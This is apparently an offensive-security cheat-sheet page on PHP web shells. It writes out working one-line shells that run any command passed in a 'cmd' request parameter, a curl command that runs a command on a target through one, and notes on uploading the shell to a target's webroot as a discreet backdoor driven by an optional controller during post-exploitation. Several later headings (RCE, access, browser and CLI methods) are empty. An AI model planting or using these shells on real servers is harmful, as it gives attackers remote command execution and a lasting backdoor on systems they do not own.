PHP

FORMAT

DIRECT

root@oco:~$ nano phpWebShell.php
 ...
 <?php system($_REQUEST["cmd"]); ?>
 ...
 
#access
root@oco:~$ curl http://{targetSite:port}?cmd=id
root@oco:~$ echo '<?php echo system($_REQUEST['cmd']);?>' > shell.php

GET REQUEST

root@oco:~$ echo '<?php system($_GET["cmd"]); ?>' > shell.php

 * the system() function which takes the URL parameter
   cmd as an input and executes it as a system command.
   
 * this is a non-interactive shell as it runs a single command per request 
   and returns the result. there's no back-and-forth, ongoing interaction 
   like in a terminal or shell.

CONDITIONAL

acts as a standalone backdoor. It listens for a specific cmd parameter in HTTP requests and executes system-level commands only if that condition is met—making it simple, discreet, and effective on its own.

OPTIONAL CONTROLLER

this optional piece isn't required for the PHP shell to function. Instead, it serves as a convenience tool—designed to automate interaction with the PHP shell. It offers optional features like sending a one-time payload or launching an interactive loop, simplifying command execution and improving operator efficiency during post-exploitation.

In essence, the PHP shell is the implant, and the Python script is an optional controller that streamlines engagement.

UPLOAD METHODS

SITE UPLOAD METHOD

once the shell script has been tailored with specific IPs and Port, etc it must be uploaded to the target's web directory (webroot) to execute the script through the web browser

RCE METHOD

ACCESS

BROWSER METHOD

CLI METHOD

Last updated